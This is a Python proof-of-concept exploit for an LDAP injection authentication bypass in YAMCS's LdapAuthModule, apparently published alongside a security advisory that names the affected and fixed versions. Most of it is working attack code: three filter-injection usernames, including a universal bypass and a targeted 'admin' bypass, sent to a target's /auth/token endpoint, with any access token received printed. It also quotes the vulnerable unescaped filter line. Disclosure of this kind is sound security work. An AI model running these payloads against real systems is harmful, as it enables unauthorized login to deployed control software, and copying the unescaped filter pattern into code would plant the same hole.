#!/usr/bin/env python3 """ CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule ========================================================= Vulnerability: The username parameter in LdapAuthModule is inserted directly into LDAP search filters without RFC 4515 escaping. Impact: Authentication bypass — log in as any user without knowing their password. Affected: yamcs-core < 5.12.7 (with LDAP auth enabled) Fixed in: yamcs-core 5.12.7 CWE: CWE-90 (Improper Neutralization of Special Elements used in an LDAP Query) Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j Author: Daniel Miranda Barcelona (Excal1bur) https://github.com/ex-cal1bur ========================================================= Root cause (LdapAuthModule.java): var filter = userFilter.replace("{0}", username); // username inserted directly — no RFC 4515 escaping Example userFilter: (uid={0}) With malicious username: *)(uid=*))(|(uid=* Result: (uid=*)(uid=*))(|(uid=*) → Universal OR match — bypasses authentication ========================================================= """ import requests import sys PAYLOADS = [ { "name": "Universal bypass (any account)", "username": "*)(uid=*))(|(uid=*", "password": "anything", "description": "Matches all entries — logs in as first user found" }, { "name": "Targeted bypass (specific user)", "username": "admin)(|(objectClass=*", "password": "wrongpassword", "description": "Bypasses password check for 'admin' account" }, { "name": "Wildcard enumeration", "username": "op*", "password": "anything", "description": "Matches any user starting with 'op' (e.g. operator)" } ] def test_ldap_injection(target, payload): base = target.rstrip("/") resp = requests.post(f"{base}/auth/token", data={ "grant_type": "password", "username": payload["username"], "password": payload["password"] }, timeout=5 ) return resp.status_code, resp.text[:300] def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" print("=" * 65) print(" CVE-2026-42568 — YAMCS LDAP Injection PoC") print(f" Target: {target}") print(" Note: Only effective when LdapAuthModule is configured") print("=" * 65) print() print(" Root cause (LdapAuthModule.java):") print(' var filter = userFilter.replace("{0}", username);') print(" // No RFC 4515 escaping applied") print() for i, payload in enumerate(PAYLOADS, 1): print(f"[{i}] {payload['name']}") print(f" Username: {payload['username']}") print(f" Password: {payload['password']}") print(f" Logic: {payload['description']}") try: status, body = test_ldap_injection(target, payload) print(f" Result: HTTP {status}") if status == 200: print(f" [!!!] AUTHENTICATION BYPASSED") try: import json token = json.loads(body).get("access_token", "") if token: print(f" [!!!] Token received: {token[:40]}...") except Exception: pass elif status == 401: print(f" [-] Auth failed (LDAP may not be configured)") elif status == 403: print(f" [+] Access denied (patched or LDAP disabled)") else: print(f" [?] Unexpected: {body[:100]}") except requests.exceptions.ConnectionError: print(f" [-] Connection refused — is YAMCS running?") except Exception as e: print(f" [-] Error: {e}") print() print("=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print(" Fix applies RFC 4515 escaping before constructing LDAP filter") print("=" * 65) if __name__ == "__main__": main()